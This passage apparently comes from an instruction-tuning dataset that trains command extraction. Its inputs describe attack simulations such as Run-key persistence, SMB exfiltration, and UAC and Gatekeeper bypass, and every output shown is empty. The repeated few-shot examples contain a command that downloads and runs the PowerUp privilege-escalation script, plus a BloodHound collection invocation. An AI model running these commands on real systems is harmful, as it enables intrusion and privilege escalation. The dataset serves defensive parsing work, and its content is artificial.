Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.\nPrerequisites:\n - A file server running Windows Server 2022 Datacenter: Azure Edition\n - A Windows 11 computer\n - Windows Admin Center\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This atomic test add persistence taking advantage of the Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)\nUser have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n SecEdit.exe can be used to export the current local security policy applied to a host.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Gatekeeper Bypass via command line\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n UAC bypass using Magic technique via function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n 